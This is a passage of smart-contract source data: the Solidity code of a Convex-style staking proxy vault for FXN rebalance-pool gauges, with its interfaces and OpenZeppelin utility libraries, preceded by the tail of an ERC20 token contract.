_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
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1 | 19,495,983 |
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|
{{
"language": "Solidity",
"sources": {
"/contracts/boosting/StakingProxyRebalancePool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"./StakingProxyBase.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxUsd.sol\";\nimport \"../interfaces/IFxFacetV2.sol\";\nimport '@openzeppelin/contracts/security/ReentrancyGuard.sol';\n\n/*\nVault implementation for rebalance pool gauges\n\nThis should mostly act like a normal erc20 vault with the exception that\nfxn is not minted directly and is rather passed in via the extra rewards route.\nThus automatic redirect must be turned off and processed locally from the vault.\n*/\ncontract StakingProxyRebalancePool is StakingProxyBase, ReentrancyGuard{\n using SafeERC20 for IERC20;\n\n address public constant fxusd = address(0x085780639CC2cACd35E474e71f4d000e2405d8f6); \n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter) \n StakingProxyBase(_poolRegistry, _feeRegistry, _fxnminter){\n }\n\n //vault type\n function vaultType() external pure override returns(VaultType){\n return VaultType.RebalancePool;\n }\n\n //vault version\n function vaultVersion() external pure override returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public override{\n super.initialize(_owner, _pid);\n\n //set infinite approval\n IERC20(stakingToken).approve(gaugeAddress, type(uint256).max);\n }\n\n\n //deposit into rebalance pool with ftoken\n function deposit(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull ftokens from user\n IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake\n IFxnGauge(gaugeAddress).deposit(_amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with fxusd\n function depositFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull fxusd from user\n IERC20(fxusd).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake using fxusd's earn function\n IFxUsd(fxusd).earn(gaugeAddress, _amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with base\n function depositBase(uint256 _amount, uint256 _minAmountOut) external onlyOwner nonReentrant{\n if(_amount > 0){\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n\n //pull base from user\n IERC20(_baseToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n IERC20(_baseToken).approve(fxusd, _amount);\n //stake using fxusd's earn function\n IFxUsd(fxusd).mintAndEarn(gaugeAddress, _amount, address(this), _minAmountOut);\n\n //return left over\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return ftoken\n function withdraw(uint256 _amount) external onlyOwner nonReentrant{\n\n //withdraw ftoken directly to owner\n IFxnGauge(gaugeAddress).withdraw(_amount, owner);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return fxusd\n function withdrawFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n\n //wrap to fxusd and receive at owner(msg.sender)\n IFxUsd(fxusd).wrapFrom(gaugeAddress, _amount, msg.sender);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw from rebalance pool(v2) and return underlying base\n function withdrawAsBase(uint256 _amount, address _fxfacet, address _fxconverter) external onlyOwner nonReentrant{\n\n //withdraw from rebase pool as underlying\n IFxFacetV2.ConvertOutParams memory params = IFxFacetV2.ConvertOutParams(_fxconverter,0,new uint256[](0));\n IFxFacetV2(_fxfacet).fxRebalancePoolWithdrawAs(params, gaugeAddress, _amount);\n\n //return left over\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //return earned tokens on staking contract and any tokens that are on this vault\n function earned() external override returns (address[] memory token_addresses, uint256[] memory total_earned) {\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //create array of rewards on gauge, rewards on extra reward contract, and fxn that is minted\n address _rewards = rewards;\n token_addresses = new address[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n total_earned = new uint256[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n\n //simulate claiming\n\n //claim other rewards on gauge to this address to tally\n IFxnGauge(gaugeAddress).claim(address(this),address(this));\n\n //get balance of tokens\n for(uint256 i = 0; i < rewardTokens.length; i++){\n token_addresses[i] = rewardTokens[i];\n if(rewardTokens[i] == fxn){\n //remove boost fee here as boosted fxn is distributed via extra rewards\n total_earned[i] = IERC20(fxn).balanceOf(address(this)) * (FEE_DENOMINATOR - IFeeRegistry(feeRegistry).totalFees()) / FEE_DENOMINATOR;\n }else{\n total_earned[i] = IERC20(rewardTokens[i]).balanceOf(address(this));\n }\n }\n\n //also add an extra rewards from convex's side\n IRewards.EarnedData[] memory extraRewards = IRewards(_rewards).claimableRewards(address(this));\n for(uint256 i = 0; i < extraRewards.length; i++){\n token_addresses[i+rewardTokens.length] = extraRewards[i].token;\n total_earned[i+rewardTokens.length] = extraRewards[i].amount;\n }\n }\n\n /*\n claim flow:\n mint fxn rewards directly to vault\n claim extra rewards directly to the owner\n calculate fees on fxn\n distribute fxn between owner and fee deposit\n */\n function getReward() external override{\n getReward(true);\n }\n\n //get reward with claim option.\n function getReward(bool _claim) public override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewards();\n }\n\n //get reward with claim option, as well as a specific token list to claim from convex extra rewards\n function getReward(bool _claim, address[] calldata _tokenList) external override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewardsFilter(_tokenList);\n }\n\n //return any tokens in vault back to owner\n function transferTokens(address[] calldata _tokenList) external onlyOwner{\n //transfer tokens back to owner\n //fxn and gauge tokens are skipped\n _transferTokens(_tokenList);\n }\n\n\n function _checkExecutable(address _address) internal override{\n super._checkExecutable(_address);\n\n //require shutdown for calls to withdraw role contracts\n if(IFxUsd(gaugeAddress).hasRole(keccak256(\"WITHDRAW_FROM_ROLE\"), _address)){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n }\n}\n"
},
"/contracts/interfaces/IRewards.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IRewards{\n struct EarnedData {\n address token;\n uint256 amount;\n }\n enum RewardState{\n NotInitialized,\n NoRewards,\n Active\n }\n \n function initialize(uint256 _pid, bool _startActive) external;\n function addReward(address _rewardsToken, address _distributor) external;\n function approveRewardDistributor(\n address _rewardsToken,\n address _distributor,\n bool _approved\n ) external;\n function deposit(address _owner, uint256 _amount) external;\n function withdraw(address _owner, uint256 _amount) external;\n function getReward(address _forward) external;\n function getRewardFilter(address _forward, address[] calldata _tokens) external;\n function notifyRewardAmount(address _rewardsToken, uint256 _reward) external;\n function balanceOf(address account) external view returns (uint256);\n function claimableRewards(address _account) external view returns(EarnedData[] memory userRewards);\n function rewardTokens(uint256 _rid) external view returns (address);\n function rewardTokenLength() external view returns(uint256);\n function rewardState() external view returns(RewardState);\n}"
},
"/contracts/interfaces/IProxyVault.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IProxyVault {\n\n enum VaultType{\n Erc20Basic,\n RebalancePool\n }\n\n function vaultType() external view returns(VaultType);\n function vaultVersion() external view returns(uint256);\n function initialize(address _owner, uint256 _pid) external;\n function pid() external returns(uint256);\n function usingProxy() external returns(address);\n function owner() external returns(address);\n function gaugeAddress() external returns(address);\n function stakingToken() external returns(address);\n function rewards() external returns(address);\n function getReward() external;\n function getReward(bool _claim) external;\n function getReward(bool _claim, address[] calldata _rewardTokenList) external;\n function earned() external returns (address[] memory token_addresses, uint256[] memory total_earned);\n}"
},
"/contracts/interfaces/IPoolRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IPoolRegistry {\n function poolLength() external view returns(uint256);\n function poolInfo(uint256 _pid) external view returns(address, address, address, address, uint8);\n function vaultMap(uint256 _pid, address _user) external view returns(address vault);\n function addUserVault(uint256 _pid, address _user) external returns(address vault, address stakeAddress, address stakeToken, address rewards);\n function deactivatePool(uint256 _pid) external;\n function addPool(address _implementation, address _stakingAddress, address _stakingToken) external;\n function setRewardActiveOnCreation(bool _active) external;\n function setRewardImplementation(address _imp) external;\n}"
},
"/contracts/interfaces/IFxnTokenMinter.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n// solhint-disable func-name-mixedcase\ninterface IFxnTokenMinter {\n function token() external view returns (address);\n\n function controller() external view returns (address);\n\n function minted(address user, address gauge) external view returns (uint256);\n\n function mint(address gauge_addr) external;\n\n function mint_many(address[8] memory gauges) external;\n\n function mint_for(address gauge, address _for) external;\n\n function toggle_approve_mint(address _user) external;\n}"
},
"/contracts/interfaces/IFxnGauge.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxnGauge{\n\n //basics\n function stakingToken() external view returns(address);\n function totalSupply() external view returns(uint256);\n function workingSupply() external view returns(uint256);\n function workingBalanceOf(address _account) external view returns(uint256);\n function deposit(uint256 _amount) external;\n function deposit(uint256 _amount, address _receiver) external;\n function withdraw(uint256 _amount) external;\n function withdraw(uint256 _amount, address _receiver) external;\n function user_checkpoint(address _account) external returns (bool);\n function balanceOf(address _account) external view returns(uint256);\n function integrate_fraction(address account) external view returns (uint256);\n function baseToken() external view returns(address);\n function asset() external view returns(address);\n function market() external view returns(address);\n\n //weight sharing\n function toggleVoteSharing(address _staker) external;\n function acceptSharedVote(address _newOwner) external;\n function rejectSharedVote() external;\n function getStakerVoteOwner(address _account) external view returns (address);\n function numAcceptedStakers(address _account) external view returns (uint256);\n function sharedBalanceOf(address _account) external view returns (uint256);\n function veProxy() external view returns(address);\n\n //rewards\n function rewardData(address _token) external view returns(uint96 queued, uint80 rate, uint40 lastUpdate, uint40 finishAt);\n function getActiveRewardTokens() external view returns (address[] memory _rewardTokens);\n function rewardReceiver(address account) external view returns (address);\n function setRewardReceiver(address _newReceiver) external;\n function claim() external;\n function claim(address account) external;\n function claim(address account, address receiver) external;\n function getBoostRatio(address _account) external view returns (uint256);\n function depositReward(address _token, uint256 _amount) external;\n function voteOwnerBalances(address _account) external view returns(uint112 product, uint104 amount, uint40 updateAt);\n}\n"
},
"/contracts/interfaces/IFxUsd.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxUsd{\n\n function wrap(\n address _baseToken,\n uint256 _amount,\n address _receiver\n ) external;\n\n function wrapFrom(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mint(\n address _baseToken,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n\n function earn(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mintAndEarn(\n address _pool,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n function hasRole(bytes32 role, address account) external view returns (bool);\n}\n"
},
"/contracts/interfaces/IFxFacetV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxFacetV2{\n\n struct ConvertOutParams {\n address converter;\n uint256 minOut;\n uint256[] routes;\n }\n\n function fxRebalancePoolWithdraw(address _pool, uint256 _amountIn) external payable returns (uint256 _amountOut);\n function fxRebalancePoolWithdrawAs(\n ConvertOutParams memory _params,\n address _pool,\n uint256 _amountIn\n ) external payable returns (uint256 _amountOut);\n}\n"
},
"/contracts/interfaces/IFeeRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IFeeRegistry{\n function cvxfxnIncentive() external view returns(uint256);\n function cvxIncentive() external view returns(uint256);\n function platformIncentive() external view returns(uint256);\n function totalFees() external view returns(uint256);\n function maxFees() external view returns(uint256);\n function feeDeposit() external view returns(address);\n function getFeeDepositor(address _from) external view returns(address);\n}"
},
"/contracts/boosting/StakingProxyBase.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"../interfaces/IProxyVault.sol\";\nimport \"../interfaces/IFeeRegistry.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxnTokenMinter.sol\";\nimport \"../interfaces/IRewards.sol\";\nimport \"../interfaces/IPoolRegistry.sol\";\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\nimport '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';\n\n/*\nBase class for vaults\n\n*/\ncontract StakingProxyBase is IProxyVault{\n using SafeERC20 for IERC20;\n\n address public constant fxn = address(0x365AccFCa291e7D3914637ABf1F7635dB165Bb09);\n address public constant vefxnProxy = address(0xd11a4Ee017cA0BECA8FA45fF2abFe9C6267b7881);\n address public immutable feeRegistry;\n address public immutable poolRegistry;\n address public immutable fxnMinter;\n\n address public owner; //owner of the vault\n address public gaugeAddress; //gauge contract\n address public stakingToken; //staking token\n address public rewards; //extra rewards on convex\n address public usingProxy; //address of proxy being used\n uint256 public pid;\n\n uint256 public constant FEE_DENOMINATOR = 10000;\n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter){\n poolRegistry = _poolRegistry;\n feeRegistry = _feeRegistry;\n fxnMinter = _fxnminter;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"!auth\");\n _;\n }\n\n modifier onlyAdmin() {\n require(vefxnProxy == msg.sender, \"!auth_admin\");\n _;\n }\n\n //vault type\n function vaultType() external virtual pure returns(VaultType){\n return VaultType.Erc20Basic;\n }\n\n //vault version\n function vaultVersion() external virtual pure returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public virtual{\n require(owner == address(0),\"already init\");\n owner = _owner;\n pid = _pid;\n\n //get pool info\n (,gaugeAddress, stakingToken, rewards,) = IPoolRegistry(poolRegistry).poolInfo(_pid);\n }\n\n //set what veFXN proxy this vault is using\n function setVeFXNProxy(address _proxy) external virtual onlyAdmin{\n //set the vefxn proxy\n _setVeFXNProxy(_proxy);\n }\n\n //set veFXN proxy the vault is using. call acceptSharedVote to start sharing vefxn proxy's boost\n function _setVeFXNProxy(address _proxyAddress) internal{\n //set proxy address on staking contract\n IFxnGauge(gaugeAddress).acceptSharedVote(_proxyAddress);\n if(_proxyAddress == vefxnProxy){\n //reset back to address 0 to default to convex's proxy, dont write if not needed.\n if(usingProxy != address(0)){\n usingProxy = address(0);\n }\n }else{\n //write non-default proxy address\n usingProxy = _proxyAddress;\n }\n }\n\n //get rewards and earned are type specific. extend in child class\n function getReward() external virtual{}\n function getReward(bool _claim) external virtual{}\n function getReward(bool _claim, address[] calldata _rewardTokenList) external virtual{}\n function earned() external virtual returns (address[] memory token_addresses, uint256[] memory total_earned){}\n\n\n //checkpoint and add/remove weight to convex rewards contract\n function _checkpointRewards() internal{\n //if rewards are active, checkpoint\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //get user balance from the gauge\n uint256 userLiq = IFxnGauge(gaugeAddress).balanceOf(address(this));\n //get current balance of reward contract\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n if(userLiq >= bal){\n //add the difference to reward contract\n IRewards(_rewards).deposit(owner, userLiq - bal);\n }else{\n //remove the difference from the reward contract\n IRewards(_rewards).withdraw(owner, bal - userLiq);\n }\n }\n }\n\n //apply fees to fxn and send remaining to owner\n function _processFxn() internal{\n\n //get fee rate from fee registry (only need to know total, let deposit contract disperse itself)\n uint256 totalFees = IFeeRegistry(feeRegistry).totalFees();\n\n //send fxn fees to fee deposit\n uint256 fxnBalance = IERC20(fxn).balanceOf(address(this));\n uint256 sendAmount = fxnBalance * totalFees / FEE_DENOMINATOR;\n if(sendAmount > 0){\n //get deposit address for given proxy (address 0 will be handled by fee registry to return default convex proxy)\n IERC20(fxn).transfer(IFeeRegistry(feeRegistry).getFeeDepositor(usingProxy), sendAmount);\n }\n\n //transfer remaining fxn to owner\n sendAmount = IERC20(fxn).balanceOf(address(this));\n if(sendAmount > 0){\n IERC20(fxn).transfer(owner, sendAmount);\n }\n }\n\n //get extra rewards (convex side)\n function _processExtraRewards() internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getReward(owner);\n }\n }\n\n //get extra rewards (convex side) with a filter list\n function _processExtraRewardsFilter(address[] calldata _tokens) internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getRewardFilter(owner,_tokens);\n }\n }\n\n //transfer other reward tokens besides fxn(which needs to have fees applied)\n //also block gauge tokens from being transfered out\n function _transferTokens(address[] memory _tokens) internal{\n //transfer all tokens\n for(uint256 i = 0; i < _tokens.length; i++){\n //dont allow fxn (need to take fee)\n //dont allow gauge token transfer\n if(_tokens[i] != fxn && _tokens[i] != gaugeAddress){\n uint256 bal = IERC20(_tokens[i]).balanceOf(address(this));\n if(bal > 0){\n IERC20(_tokens[i]).safeTransfer(owner, bal);\n }\n }\n }\n }\n\n function _checkExecutable(address _address) internal virtual{\n require(_address != fxn && _address != stakingToken && _address != rewards, \"!invalid target\");\n }\n\n //allow arbitrary calls. some function signatures and targets are blocked\n function execute(\n address _to,\n uint256 _value,\n bytes calldata _data\n ) external onlyOwner returns (bool, bytes memory) {\n //fully block fxn, staking token(lp etc), and rewards\n _checkExecutable(_to);\n\n //only calls to staking(gauge) address if pool is shutdown\n if(_to == gaugeAddress){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n\n (bool success, bytes memory result) = _to.call{value:_value}(_data);\n require(success, \"!success\");\n return (success, result);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 